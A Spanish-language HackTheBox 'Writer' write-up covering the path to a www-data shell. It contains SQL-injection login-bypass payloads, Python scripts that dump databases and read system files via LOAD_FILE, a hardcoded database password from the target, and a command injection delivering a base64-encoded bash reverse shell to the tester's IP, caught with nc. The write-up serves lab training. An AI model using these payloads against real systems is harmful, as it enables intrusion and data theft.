HackTheBox - Writer


Creado
HackTheBox - Writer

Máquina Linux nivel medio. Bypassing de un panel-login, extracción de datos y lectura de archivos del sistema con la funcion LOAD_FILE(), todo lo anterior con un SQLi 😮 Análisis estático y dinámico de código Python, command-injection juguetón en imágenes (?), crackeowowow, explotación de avisos parroquiales de Postfix y juegos sucios con paquetes APT que son ejecutados por apt-get update.

TL;DR (Spanish writeup)

Creada por: TheCyberGeek.

El escritor…

Este writeup salio especialmente largo, pero bastante entretenido, igual hay algunos procesos que tienen links para saltar entre partes por si quieres ir directo al rasputelius.

Servidor web con un login-panel bypass bastante jugoso mediante una SQLinjection union-based, la usaremos tanto para extraer toooooda la info de las BDs a las que tengamos acceso como para leer archivos del sistema (usando la función load_file de MySQL) :o

plaYsQLi.py

Leeremos la fuente de la app web, tendremos los ojos y la mente bien abierta para encontrar un command-injection en una funcionalidad para editar historias en el servidor web. Moveremos cositas para finalmente obtener una Reverse Shell en el sistema como el usuario www-data (script que automatiza toooodo este proceso):

imajection.py

Estando dentro jugaremos con contraseñas de MySQL volando y encontraremos otras dentro de una nueva base de datos, crackearemos un hash tipo Django y haciendo reutilización de contraseñas generaremos una Shell como el usuario kyle.

Encontraremos una funcionalidad que agrega un aviso legal a los correos que sean enviados tanto a kyle@writer.htb como a root@writer.htb, el tema es que toooodo el disclaimer es procesado por un binario al que tenemos acceso de escritura yyyy es llevado a cabo por el usuario john, jugaremos con mails y modificación de binarios para obtener una reverse Shell como el usurario john.

Finalmente, encontraremos que john puede escribir archivos de configuración para APT (gestor de paquetes en GNU/Linux), usaremos ese poder para generar un paquete malicioso y esperar a que un usuario administrador del sistema ejecute apt-get update para que nuestro paquete EXPLOTE y por ende, explote su contenido. Así conseguiremos una Reverse Shell como root.

Clasificación de la máquina según la gentesita

Le cuesta, pero no le cuesta tanto llegar a ser real :P

La idea inicial de esta locura es tener mis “notas” por si algun día se me olvida todo (lo que es muuuy probable), leer esto y reencontrarme (o talvez no) :) La segunda idea surgio con el tiempo, ya que me di cuenta que esta es una puerta para personitas que como yo, al inicio (o simplemente a veces) nos estancamos en este mundo de la seguridad, por lo que si tengo las ganas para ayudarnos ¿por que no hacerlo? … Un detalle es que si ves mucho texto, es por que me gusta mostrar tanto errores como exitos y tambien plasmar todo desde una perspectiva más de enseñanza que de solo pasos a seguir. Sin menos, muchas gracias <3 Todo lo que ves es vida!

El único.

  1. Reconocimiento.
  2. Enumeración.
  3. Explotación.
  4. Movimiento lateral: www-data -> kyle.
  5. Movimiento lateral: kyle -> john.
  6. Escalada de privilegios.

Reconocimiento #

Enumeración de puertos con nmap 📌

Como siempre lo primero será encontrar que puertos (servicios) tiene abiertos externamente la máquina, esto lo podemos hacer con ayuda de la herramienta nmap:

❱ nmap -p- --open -v 10.10.11.101 -oG initScan
Parámetro Descripción
-p- Escanea todos los 65535
–open Solo los puertos que están abiertos
-v Permite ver en consola lo que va encontrando
-oG Guarda el output en un archivo con formato grepeable para usar una función extractPorts de S4vitar que me extrae los puertos en la clipboard
❱ cat initScan
# Nmap 7.80 scan initiated Tue Oct  5 25:25:25 2021 as: nmap -p- --open -v -oG initScan 10.10.11.101
# Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Host: 10.10.11.101 ()   Status: Up
Host: 10.10.11.101 ()   Ports: 22/open/tcp//ssh///, 80/open/tcp//http///, 139/open/tcp//netbios-ssn///, 445/open/tcp//microsoft-ds///
# Nmap done at Tue Oct  5 25:25:25 2021 -- 1 IP address (1 host up) scanned in 116.09 seconds

Y obtenemos estos puertos abiertos externamente:

Puerto Descripción
22 SSH: Nos da la opción de obtener una Shell (terminal) de manera segura.
80 HTTP: Nos brinda un servidor web.
139,445 SMB: Nos permite interactuar con carpetas compartidas a través de la red de la máquina.

Ya que tenemos los puertos abiertos de la máquina podemos explorar un poquito más, quizás encontremos algo más, así que hagamos un escaneo de versiones (para eso, intentar obtener la versión del software) y scripts (son pequeñas instrucciones que tiene el propio nmap para probar contra X servicio) para cada puerto:

~(Usando la función extractPorts (referenciada antes) podemos copiar rápidamente los puertos en la clipboard, así no tenemos que ir uno a uno

❱ extractPorts initScan 
[*] Extracting information...

    [*] IP Address: 10.10.11.101
    [*] Open ports: 22,80,139,445

[*] Ports copied to clipboard

)~

❱ nmap -p 22,80,139,445 -sC -sV 10.10.11.101 -oN portScan
Parámetro Descripción
-p Escaneo de los puertos obtenidos
-sC Muestra todos los scripts relacionados con el servicio
-sV Nos permite ver la versión del servicio
-oN Guarda el output en un archivo
❱ cat portScan
# Nmap 7.80 scan initiated Tue Oct  5 25:25:25 2021 as: nmap -p 22,80,139,445 -sC -sV -oN portScan 10.10.11.101
Nmap scan report for 10.10.11.101
Host is up (0.11s latency).

PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http        Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Story Bank | Writer.HTB
139/tcp open  netbios-ssn Samba smbd 4.6.2
445/tcp open  netbios-ssn Samba smbd 4.6.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: -1s
|_nbstat: NetBIOS name: WRITER, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-10-05T14:11:31
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Oct  5 25:25:25 2021 -- 1 IP address (1 host up) scanned in 20.95 seconds

Podemos destacar algunas cositas:

Puerto Servicio Versión
22 SSH OpenSSH 8.2p1
80 HTTP Apache httpd 2.4.41
  • Vemos un dominio que el propio nmap encuentra: Writer.HTB, para tener en cuenta por si algo.

Puerto Servicio Versión
139,445 SMB Samba smbd 4.6.2

No tenemos nada más, así que a explorar.

Enumeración #

Recorridos turbulentos por el puerto 80 📌

Lo que vemos al hacer una petición contra la dirección IP 10.10.11.101 en nuestro navegador es:

Un blog con varias historias, podemos interactuar con ellas, pero lo único medio relevante es que en cada una nos muestra el autor de la historia, podríamos pensar en ellos como usuarios de algo, tengamos esto en mente por si algo…

Al no ver nada interesante, podríamos probar a buscar directorios o archivos que no se estén listando (o viendo) en la web, pero que si estén siendo servidos por ella, o mejor llamado, fuzzing, usaré dirsearch para eso:

❱ dirsearch.py -u http://10.10.11.101/
...
[25:25:25] Starting: 
[25:25:25] 200 -    3KB - /about
[25:25:25] 200 -    1KB - /administrative
[25:25:25] 200 -    5KB - /contact
[25:25:25] 302 -  208B  - /dashboard  ->  http://10.10.11.101/
[25:25:25] 302 -  208B  - /logout  ->  http://10.10.11.101/
[25:25:25] 403 -  277B  - /server-status/
[25:25:25] 403 -  277B  - /server-status
[25:25:25] 301 -  313B  - /static  ->  http://10.10.11.101/static/

Task Completed

De los recursos que dirsearch descubrió ¿cuál se ve llamativo? 🤨

Exacto, /administrative tiene un nombre bastante curioso, investiguémoslo:

Un login-panel bastante sencillo con el logo de bootstrap (que me llevo a varios rabbit holes :P), probando credenciales por default como:

  • admin:admin
  • admin:123456
  • admin@writer.htb:admin
  • (y muchas más)

No logramos pasar el login y siempre obtenemos esto como respuesta:

☠️ Error: Incorrect credentials supplied

Después de algunas pruebas basadas en inyecciones (ya que estamos ante un login-panel, o sea que válida credenciales de alguna base de datos (SQL Injection) o plantilla (XPath Injection))

Probando una inyección simple simulando que exista el usuario admin como -usuario- del login, pensando/imaginando que la consulta que hace es:

... SELECT * FROM <tabla> WHERE username = 'admin';

Podríamos explotarla simplemente jugando con las comillas y una operación que si o si es verdadera, algo como '1'='1':

admin' or '1'='1

Y en la consulta SQL sería algo así:

... SELECT * FROM <tabla> WHERE username = 'admin' or '1'='1';

Entonces, sí es vulnerable validaría primero que el usuario admin exista, en dado caso de no existir y si por cosas de la vida esta tan mal configurado el backend, pues tomaría el '1'='1', como esa es una expresión que va a ser verdadera sieeeeempre, lograríamos bypassear el login-panel. Pos probemos…

Explotación #

Bypasseamos login mediante una inyección SQL 📌

Los parámetros del login viajan de esta manera:

Así que podemos enviar este payload:

uname=admin' or '1'='1
password=admin' or '1'='1

Damos clic en Sign In yyyyyyyyyyyyyyyy vemos esto:

OPAAAAAAAAAAAAa, nos saluda como el usuario admin yyyy nos redirecciona al apartado /dashboard:

Perfectísimo, hemos bypasseado el panel-login descubriendo que el usuario admin esta en la base de datos aún sin saber su contraseña :P Veamos si podemos hacer algo dentro del dashboard, si no, volvemos al SQLi e intentamos descubrir bases de datos, tablas y demás cositas locas…


Buscamos locuras ahora como admin en la web 📌

Tenmos estos apartados para interactuar:

Después de recorrer todas, la más interesante e interactiva es Stories, que nos lleva a /dashboard/stories:

Podemos agregar, modificar y borrar historias al blog que vimos al inicio (: Por ejemplo si intentamos editar el primer post (ID 1 = On the Origin of Shadows) tenemos:

¿Qué ven llamativo? 👀

Hay un apartado para subir/editar la imagen relacionada con el post, peeeeeeeero en ese mismo apartado tenemos un comentario:

📑 The image must have a maximum size of 1MB in .jpg format. Click here to upload from URL.

Si damos clic en here cambia el campo y nos muestra esto:

Pues inicialmente podemos probar si realmente hace la petición web en búsqueda de la imagen, levantamos un servidor web en el puerto 8000 con ayuda de Python:

❱ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Y en el campo de la URL ponemos nuestra dirección y un archivo X, la idea es ver si llega la petición. Pero al dar clic en Save nos devuelve:

No nos permite por un tema del formato, jugando con eso no llegamos a ningún lado, así que por ahora dejemos esto quieto y enumeremos el servidor SQL.

Usamos SQLi para extraer info del servidor SQL 📌

Lo primero será ver contra que servicio SQL estamos y lo segundo contra que tipo de SQLi nos encontramos, ya que puede ser error-based, union-based o blind-based principalmente:

Jugando con el error-based no logramos ver “errores” al ejecutar sentencias, así que lo descartamos.

Para validar si puede ser union-based lo mejor es intentar descubrir cuantas columnas tiene la tabla actual donde se están haciendo las consultas, para hacer esto jugamos con la instrucción ORDER BY. Con ella lograremos ordenar las columnas ya sea de manera descendente o ascendente.

El punto es que si intentamos ordenar las columnas con un numero mayor al de las propias columnas que existan en la tabla (por ejemplo, una tabla tiene 5 columnas, si intentamos ordenarla como si tuviera 6, daría error), la idea es buscar un numero que no nos dé error (en este caso lo sabríamos cuando nos deje logearnos (si es que nos deja)), si lo encontramos, primero confirmamos el número de columnas de la tabla y segundo el tipo de SQL injection: union-based

Su uso es sencillo:

ORDER BY <numero_de_columnas>

Adecuándolo a nuestro payload sería algo así:

uname=admin' ORDER BY <numero_de_columnas>;#
password=admin' ORDER BY <numero_de_columnas>;#

Rápidamente, armamos un script (o con cURL o como quieran, yo usare Python) para validar con 100 columnas:

#!/usr/bin/python3

import requests

URL = "http://10.10.11.101/administrative"

for column_num in range (1,101):
    payload = f"admin' ORDER BY {column_num};#"

    r = requests.post(URL, data={"uname":payload,"password":payload})

    # Vimos que antes del dashboard habia un redirect y nos mostraba un mensaje, tomemos parte de ese mensaje para validar la respuesta esperada.
    # Si la respuesta lo contiene, sabemos que ese numero de columnas nos permitio el bypass, cuando deje de aparecer el mensaje, sabemos que ese num no es valido.
    if "Redirecting you to the dashboard" not in r.text:
        print(f"Este es el numero de columnas: {column_num - 1}, desde la {column_num} no permite el bypass.")
        break

Si lo ejecutamos nos muestra esto:

PERFECTOOOOOOOOOO, tenemos el número de columnas (6) y confirmamos que estamos ante una inyección SQL tipo union-based, empecemos a usarla…

Extraemos variables usadas por el servidor SQL 💉

Usaré este apartado para mostrarles como se vería reflejado el resultado de nuestra consulta, pero las demás extracciones simplemente mostraré el resultado, esto para no hacer taaaan largo el writeup (:

Sabemos que hay 6 columnas, nuestro nuevo payload va a quedar así para toooodas las extracciones, nos queda saber contra qué servidor SQL estamos y que columnas son válidas para escribir texto.

admin' UNION ALL SELECT 1,2,3,4,5,6;#

Ahí le estaríamos diciendo que nos muestre tooooooooooodas las columnas donde sea que estén de la respuesta, entonces, ejecutamos:

#!/usr/bin/python3

import requests

URL = "http://10.10.11.101/administrative"

payload = f"admin' UNION ALL SELECT 1,2,3,4,5,6;#"
r = requests.post(URL, data={"uname":payload,"password":payload})

if "Redirecting you to the dashboard" in r.text:
    print(r.text)

Si tomamos la respuesta y nos ponemos frescos con la vista, vamos a ver algo llamativo por ahí:

Hay un 2 al lado de admin y claramente antes no estaba:

Por lo que nos hace pensar que el 2 de nuestro payload puede ser ese 2, como prueba definitiva agreguemos un texto ahí random:

payload = f"admin' UNION ALL SELECT 1,'holiwis',3,4,5,6;#"

Ejecutamos yyyyyyyyy:

PERFECTÍSIMO, CONFIRMAMOOOOOOOOOS y ya tenemos un campo para jugar de ahora en adelante (:

Veamos que versión de SQL tenemos:

payload = f"admin' UNION ALL SELECT 1,version(),3,4,5,6;#"

10.3.29-MariaDB-0ubuntu0.20.04.1 listones, esto solamente nos confirma que el gestor de DB esta enfocado en MySQL.

Ahora lo lindo, empecemos a crear un script bieeeeeeeeen locochón que nos extraiga de T O D O…

⚠️❤️⚠️ ANUNCIO: Vamos a extraer DBS, TABLAS, COLUMNAS y DATA más por enseñanza que por otra cosa, ya que la máquina no requiere eso para seguir, así que si deseas pasar esa fase da clic acá y caes directo a lo necesario para continuar con la máquina, saludes y besitos ⚠️❤️⚠️

Extraemos las bases de datos 💉

Lo dicho no voy a profundizar mucho, cositas básicas…

Acá hablamos directamente con la base de datos information_schema y su tabla schemata, de ella extraemos la columna schema_name que es la que contiene las bases de datos actuales y a las que tenemos acceso, únicamente que vamos limitando la respuesta a una (1) fila, así obtenemos tooodas las filas, o sea, todas las dbs (:

...
# Por ejemplo si queremos listar 100 bases de datos (e.e)
for row in range(101):
    payload = f"admin' UNION ALL SELECT 1,(SELECT schema_name FROM information_schema.schemata LIMIT {row},1),3,4,5,6;#"
...

plaYsQLi.py - show_databases()

Ejecutamos y:

Tenemos dos bases de datos, nos llama la atención la que se llama como la máquina claramente, descubramos sus tablas.

Extraemos las tablas de la db writer 💉

Acá ahora jugamos con la tabla tables, peeeeeero filtramos únicamente las tablas de la base de datos (la que tengamos en table_schema) que le indiquemos, en este caso writer, así extraería los table_name correspondientes a esa db:

...
for row in range(101):·
    payload = f"admin' UNION ALL SELECT 1,(SELECT table_name FROM information_schema.tables WHERE table_schema='{db}' LIMIT {row},1),3,4,5,6;#"
...

plaYsQLi.py - show_tables()

Ejecutamos y:

Bien, tenemos la tabla donde se guardan las historias que vimos en la web, también partes del sitio y una con referencia a usuarios, inspeccionemos las columnas de esa tabla users.

Extraemos las columnas de la tabla users de la db writer 💉

Ahora nos enfocamos en la tabla columns, pero de nuevo, únicamente queremos extraer las columnas de la base de datos (table_schema) writer y la tabla (table_name) users:

...
for row in range(101):·
    payload = f"admin' UNION ALL SELECT 1,(SELECT column_name FROM information_schema.columns WHERE table_schema='{db}' AND table_name='{table}' LIMIT {row},1),3,4,5,6;#"
...

plaYsQLi.py - show_columns()

Ejecutamos:

Lo esperado, tenemos username y password como campos claramente llamativos, pues intentemos extraerlos.

Extraemos la data en columnas de la tabla users - db writer 💉

Acá la consulta es más sencilla, únicamente le decimos que queremos extraer una o varias columnas (username) de una tabla (users) asociada a una base de datos (writer):

...
for row in range(101):·
    payload = f"admin' UNION ALL SELECT 1,(SELECT {column} FROM {db}.{table} LIMIT {row},1),3,4,5,6;#"
...

plaYsQLi.py - show_data()

Si quisiéramos evitar listar de a un resultado podemos jugar con la instrucción CONCAT de MySQL, por ejemplo para ver username y password al tiempo, podríamos hacer algo así:

...
for row in range(101):·
    payload = f"admin' UNION ALL SELECT 1,(SELECT CONCAT(username,'-',password) FROM {db}.{table} LIMIT {row},1),3,4,5,6;#"
...

Y en su ejecución veríamos algo tal que así:

Pues peeeeerfecto, ya hemos dumpeado cosas interesantes, lamentablemente no logramos crackear esa contraseña (el hash) y tampoco ver algo llamativo en las demás tablas, así que tamos F (: Al menos aprendimos a extraer tooooooooooda la locura de una base de datos y salió un script bastante guapetón :)

Función LOAD_FILE: Leemos archivos del sistema 📌

Después de bastante perdición, enumerando cositas y perdiendo otras. Caí en este apartado de un recurso que había compartido antes:

Nos indica que mediante MySQL podemos leer archivos del sistema usando la función LOAD_FILE(<archivo>) (que no la había usado y tampoco escuchado, así que a explorarla):

Por ejemplo si queremos ver el archivo /etc/passwd del sistema, haríamos esto:

#!/usr/bin/python3

import requests

URL = "http://10.10.11.101/administrative"

payload = f"admin' UNION ALL SELECT 1,LOAD_FILE('/etc/passwd'),3,4,5,6;#"
r = requests.post(URL, data={"uname":payload,"password":payload})

if "Redirecting you to the dashboard" in r.text:
    print(r.text)

Y como respuesta:

Obtenemos el contenido del archivo. De primeras destacamos algunos usuarios con acceso a una terminal:

- root
- kyle
- filter
- john

Así que perfeccccctísimo, podemos leer archivos del sistema con ayuda de la función load_file() de MySQL.

Jugando de nuevo con nuestro script conseguiremos tomar el output y extraer únicamente el contenido del archivo que queramos leer:

plaYsQLi.py - show_file()

Ahora es muuucho más sencillo, por ejemplo veamos el archivo /etc/hosts de la máquina víctima:

Funcional, así que a enumerar…

Si recordamos, en el inicio de nuestro reconocimiento vimos que el servidor web estaba siendo mantenido por Apache, esto nos da la oportunidad de buscar los archivos de configuración de ese servicio, ya que quizás encontremos la raíz de objetos por ejemplo del servidor web.

Entre tooooodas las referencias de objetos que podemos obtener de ese artículo (y de muchos otros) destacamos inicialmente esta cita:

🗄️ … la configuración predeterminada se encuentra en /etc/apache2/sites-available/000-default.conf. Cómo instalar el servidor web Apache en Ubuntu 18.04

Pues intentemos obtener su contenido:

Excelente, existe yyyy contiene bastante info, destaquemos cositas…

(Blog - Port 80)
Root folder:  /var/www/writer.htb
WSGIScripts:  /var/www/writer.htb/writer.wsgi
Static files: /var/www/writer.htb/writer/static/

(Writer2 - Future development)
Root folder:    /var/www/writer2_project
Static files:   /var/www/writer2_project/static/
Template files: /var/www/writer2_project/writer_web/templates
Unknow folder:  /var/www/writer2_project/writerv2
python-home:    /var/www/writer2_project/writer2env
WSGIScripts:    /var/www/writer2_project/writerv2/wsgi.py

🐍 WSGI son las siglas de Web Server Gateway Interface. Es una especificación que describe cómo se comunica un servidor web con una aplicación web, y cómo se pueden llegar a encadenar diferentes aplicaciones web para procesar una solicitud/petición (o request). ¿Qué es un WSGI?

Veamos el objeto /var/www/writer.htb/writer.wsgi:

Acá estube bastante perdido un tiempo por no prestar atención y no leer bien :P Gracias 7Rocky por aclararme las ideas (:

Algunas cositas llamativas para nuestra vista y pensamiento, pero la única que nos puede llegar a ayudar es esta línea:

🐍 # Import the __init__.py from the app folder

Nos habla del objeto __init__.py y que esta siendo importado desde el directorio de la aplicación web, pues lo siguiente seria intentar encontrar ese archivo a ver que contiene… Jugando con las rutas anteriormente encontradas, encontramos el objeto en esta:

/var/www/writer.htb/writer/__init__.py

El archivo es gigaaaaaaante, así que se los dejo acá por si le quieren echar un ojo:

/var/www/writer.htb/writer/init.py

El objeto es el encargado de toodo el blog, así que podemos ver como funciona por detrás cada apartado 😮

Después de un recorrido por todo el código, podemos destacar inicialmente la contraseña del usuario admin en la base de datos:

...
connector = mysql.connector.connect(user='admin', password='ToughPasswordToCrack', host='127.0.0.1', database='writer')
...

Encontramos posible command-injection 📌

⚠️❤️⚠️ ANUNCIO: Si quieres evitar tooooooda la explicación del código y como encontramos el command-injection, sigue este link ⚠️❤️⚠️

También hay cositas interesantes tanto en la función add_story() como en edit_story(), enfoquémonos en edit_story(), así evitamos generar ruido e historias basura :P

/var/www/writer.htb/writer/init.py - edit_story()

Voy a intentar no enredarlos y extenderme tanto, ya que puede ser “medio” confuso (realmente no, el confuso seria yo :P)

Extraemos cositas clave de toooda la funcion, sin embargo ya saben, arriba esta el codigo completo…

Recuerdan que al inicio encontramos la parte de editar las historias, sus títulos e imágenes, incluso que podíamos subir una imagen desde una URL, pues acá tenemos el cómo se generan esas opciones en el backend yyyyyyyy es muy interesante:

...
@app.route('/dashboard/stories/edit/<id>', methods=['GET', 'POST'])·
def edit_story(id):
...
    if request.files['image']:           # Acá valida que el parametro de la petición 'images' tenga info, si es así:
        image = request.files['image']   # La guarda en la variable 'image'
        if ".jpg" in image.filename:     # Si esa imagen en su nombre (image.filename) contiene '.jpg' podemos seguir (IMPORTANTE)
            ...
            # Agrega a la ruta '/var/.../' el nombre del archivo (image.filename). 
            # - e.g: 'image.filename=hola.jpg' -> path = '/var/.../img/hola.jpg'
            path = os.path.join('/var/www/writer.htb/writer/static/img/', image.filename)  
            ...
            # Simplemente concatena carpeta con nombre de archivo, e.g: '/img/hola.jpg'
            image = "/img/{}".format(image.filename)
            ...
            # Guarda en la base de datos el valor de 'image', e.g: '/img/hola.jpg'
            cursor.execute("UPDATE stories SET image = %(image)s WHERE id = %(id)s", {'image':image, 'id':id})
            # (SIN NINGÚN TIPO DE VALIDACIÓN IMPORTANTE, únicamente que contenga '.jpg', INTERESANTEEEEEEE)
            ...
    if request.form.get('image_url'):               # Acá valida que el parametro 'image_url' tenga contenido, si sí:
        image_url = request.form.get('image_url')   # Guarda la URL completa en 'image_url'
        if ".jpg" in image_url:                     # Lo mismo, si la URL contiene '.jpg' podemos continuar
            try:
                ...
                # Ahora hace una peticion contra la URL primero para validar que el archivo exista y guardar el contenido en un archivo temporal
                local_filename, headers = urllib.request.urlretrieve(image_url)
                ...
                # OJO: Interactua con un comando del sistema ('mv') para tomar el archivo temporal y agregarle al final la cadena '.jpg'
                os.system("mv {} {}.jpg".format(local_filename, local_filename))
                # Esto es muuuuuy llamativo por que podemos pensar en un COMMAND INJECTION, ¿por que? Veamos:
                # (Claramente no sabemos aún que guarda 'local_filename' (ya probaremos), pero podemos imaginar algo así)
                # - Ya que si tenemos el nombre de archivo 'hola.jpg' peeero lo modificamos a algo como:
                # - hola.jpg; ping 10.10.14.157;
                # >>> os.system("mv hola.jpg; ping 10.10.14.157; ...")
                # Y si todo va bien, deberia la máquina enviarnos una traza ICMP (ping) contra nuestra direccion IP :o
                ...
                # Guarda en la variable 'image' el nombre del archivo temporal y le agrega '.jpg'
                image = "{}.jpg".format(local_filename)
                ...
                try:
                    # Toma el nombre de la imagen ('image') y la intenta abrir para validar que sea una imagen
                    im = Image.open(image) 
                    ...
                    # Acá nos da un indicio de como se guarda el archivo ('local_filename').
                    image = image.replace('/tmp/','')
                    # - Ya que remplaza de 'image' la string '/tmp/' por '' (vacio)
                    # - Por lo que si 'local_filename' es igual a '/tmp/hola.jpg', 'image' quedaria con el valor 'hola.jpg'
                    ...
                    # Volvemos a encontrarnos una interaccion con el sistema y a pensar en un COMMAND INJECTION.
                    os.system("mv /tmp/{} /var/www/writer.htb/writer/static/img/{}".format(image, image))
                    # Peeero claro, si arriba habia un COMMAND INJECTION, ya deberiamos haber ejecutado algo y no esperar hasta llegar a acá.
                    # Sin embargo podemos tenerlo en mente por si algo...
                    ...
                    # Y actualiza la DB con el nombre del archivo (lo mismo que vimos antes)
                    image = "/img/{}".format(image)
                    cursor.execute("UPDATE stories SET image = %(image)s WHERE id = %(id)s", {'image':image, 'id':id})
                    ...
...

Bien, después de la exploración profunda por el código (espero no haberlos confundido mucho :P) salimos bastante contentos de encontrar un posible COMMAND INJECTION, que si no sabes que es, es tal cual su nombre, una inyección de comandos :P, aprovechamos instrucciones que están ejecutando comandos del sistema, tomando ya sean variables o procesos con los que un usuario interactúa, la explotación se da cuando el user quiere -interactuar- de manera juguetona para además de ejecutar los comandos por default de la app, ejecutar los que él quiera, por ejemplo para obtener una Reverse Shell.

Como prueba simulé el if de image_url, ya que el de image fue fácil ver que hacia…

Generamos un script rápidongo:

#!/usr/bin/python3

from flask import Flask, session, redirect, url_for, request, render_template
import urllib.request

url_host = "http://10.10.14.157:8000/"
filename_image = "hola.jpg"
image_url = url_host + filename_image

if ".jpg" in image_url:
    try:
        # Hacemos la petición
        local_filename, headers = urllib.request.urlretrieve(image_url)
        # Simulamos que movemos el archivo, únicamente para ver que valor toma 'local_filename'
        print("mv {} {}.jpg".format(local_filename, local_filename))
        # Vemos el nombre final de la imagen
        image = "{}.jpg".format(local_filename)
        print(image)
    except:
        # Algún error (lo único que podria generarlo sería la petición), cae acá
        print("f - error en la petición")

Levantamos servidor web en el puerto 8000:

❱ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Creamos archivo llamado hola.jpg: touch hola.jpg.

Y ahora simplemente ejecutaríamos el script:

Bien, efectivamente se genera un archivo temporal, pero cambia completamente, por lo que si intentáramos un command-injection ¿también cambiaria el nombre, pero aun así lograríamos que interpretara algo? ¿qué dices?

...
filename_image = "hola.jpg;ping 10.10.14.157;"
...
❱ touch 'hola.jpg;ping 10.10.14.157;'

Yyyy ahora ejecutamos de nuevo el script:

❱ python3 command_imajection.py
f - error en la petición

Pero ni llega la petición :P

Intentando cosas como hola.jpg;'ping...'; o hola.jpg;$(ping...); tampoco logramos recibir la petición (da igual si el archivo existe o no, debería llegar un 404 Not Found), así que F…

Después de un bueeeeen rato intentando e intentando se me ocurrió (y el nombre local_filename ayudo a reforzar la idea) que podríamos intentar hacer una petición a alguna imagen local (del sistema), para hacerlo podemos usar los wrappers, en concreto con el wrapper file://:

file:// — Acceso al sistema de ficheros local
http:// — Acceso a URLS en HTTP(s)

Entonces, la prueba inicial del wrapper en nuestro sistema sería:

...
url2image = "file://"
image = "/root/writer/scripts/hola.jpg"
...

Ejecutamos:

OPAAAAAAAAAAAAaaaslwalkajsfl, toma el nombre el archivo reaaaaaaaAAALaaaAAAAlLll

Intentemos de alguna forma hacer que lea el archivo, peeeero a la vez generar un **command-injection, ya que ahora SÍ tenemos control sobre el nombre del objeto :)

...
url2image = "file://"
image = "/root/writer/scripts/hola.jpg;ping 10.10.14.157;"
...
❱ touch 'hola.jpg;ping 10.10.14.157;'

Ejecutamos para probar si genera la petición:

PERRRRRRRFECTO, se hace la peticióóóóóóóónnnn, pues ejecutamos realmente la línea os.system(...) a ver si obtenemos el ping:

Nos ponemos en escucha por la interfaz donde esta la VPN de HTB capturando todos los paquetes ICMP (son las trazas enviadas por el comando ping) que le lleguen:

❱ tcpdump -i tun0 icmp

Y en el script:

...
os.system("mv {} {}.jpg".format(local_filename, local_filename))
...

Ejecutamos yyyyyyyyyyyyyyyyyy:

VAMOOOOOOOOOOOOOOOOOOOOOOOOOOO, las trazas son enviadas y las vemos desde el propio script (al ser local), así que confirmamos el command-injection y llego el momento de replicar esto, pero directamente en el blog (: Seré rápido y directo, igual tooooda la explicación se hizo de acá pa arriba.

Explotamos command-injection y generamos Shell 📌

Pasos muuuy sencillos:

  1. Necesitamos primero crear/modificar un archivo en el sistema para que en su nombre tenga nuestro payload.
  2. Usar el wrapper file:// para referenciar ese archivo. (podemos hacer este y el primero al tiempo, pero la idea es que entiendan que hago)

Editamos historia y colocamos nuestro payload como nombre de la imagen ⚙️

Bypasseamos el panel-login, vemos las historias y seleccionamos cualquiera de las que existen, tomaré la segunda:

Clic en el lápiz y llegamos a acá:

Ahora, vamos a apoyarnos de BurpSuite para mostrar claramente la explotación.

Activamos el proxy y en la página web damos clic en Send, nos llegaría la petición a Burp, damos ya sea:

  • Clic derecho en la petición > Send to repeater o
  • CTRL+R, apagamos el intercept y listos, así evitamos estar activando y desactivando el proxy.

Tenemos esto:

Como vemos, ahí están los dos campos interesantes que desbaratamos antes: image e image_url.

Apoyados en el script que creamos para dumpear las bases de datos podemos ver el valor actual de la imagen para la historia 2:

❱ python3 plaYsQLi.py --query writer stories id,title,image
[*] Dumpeando id,title,image de writer.stories

...
[+] 2-Autumn Rain-/img/rain.jpg
...

Recordemos que el backend lo único que válida es que lo que sea que pongamos como imagen tenga en su nombre un .jpg, así que en teoría debería ser modificado su nombre sin problemas, intentemos el payload para una Reverse Shell, que simplemente envía al puerto (en mi caso) 4433 de la dirección IP 10.10.14.157 una bash (/bin/bash), o sea un Shell (:

❱ echo "bash -i >& /dev/tcp/10.10.14.157/4433 0>&1" | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNTcvNDQzMyAwPiYxCg==
hola.jpg;echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNTcvNDQzMyAwPiYxCg==|base64 -d|bash;

La encodeamos en base64 para que viaje sin problemas, el sistema debe decodearda (base64 -d) e interpretarla (bash):

Enviamos la petición (dando clic en Send arriba a la izq) yyyy ahora volvemos a validar en la base de datos:

 python3 plaYsQLi.py --query writer stories id,title,image
[*] Dumpeando id,title,image de writer.stories

...
[+] 2-Autumn Rain-/img/hola.jpg;echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNTcvNDQzMyAwPiYxCg==|base64 -d|bash;
...

Perfectísimo, tenemos nuestro primer paso.

Jugamos con el wrapper file:// para que nuestro payload sea interpretado ⚙️

Lo único que falta es referenciar esa imagen, en el código vimos que la imagen es guardada en una ruta especifica:

...
path = os.path.join('/var/www/writer.htb/writer/static/img/', image.filename)
image.save(path)
...

Así que el wrapper quedaría así:

file:///var/www/writer.htb/writer/static/img/hola.jpg;echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNTcvNDQzMyAwPiYxCg==|base64 -d|bash;

Nos ponemos en escucha por el puerto 4433:

❱ nc -lvp 4433
listening on [any] 4433 ...

Enviamos la petición, la página parece fallecer, peeeeeeeeero si revisamos nuestro listener:

TAMOOOOOOOS DENTROOOOOOOOOOOOOOOOOOOOOOOOOOOO!! 😬 Bruuuutal la intrusión…

Les dejo este script que automatiza todo el proceso de edición y obtención de Shell.

imajection.py

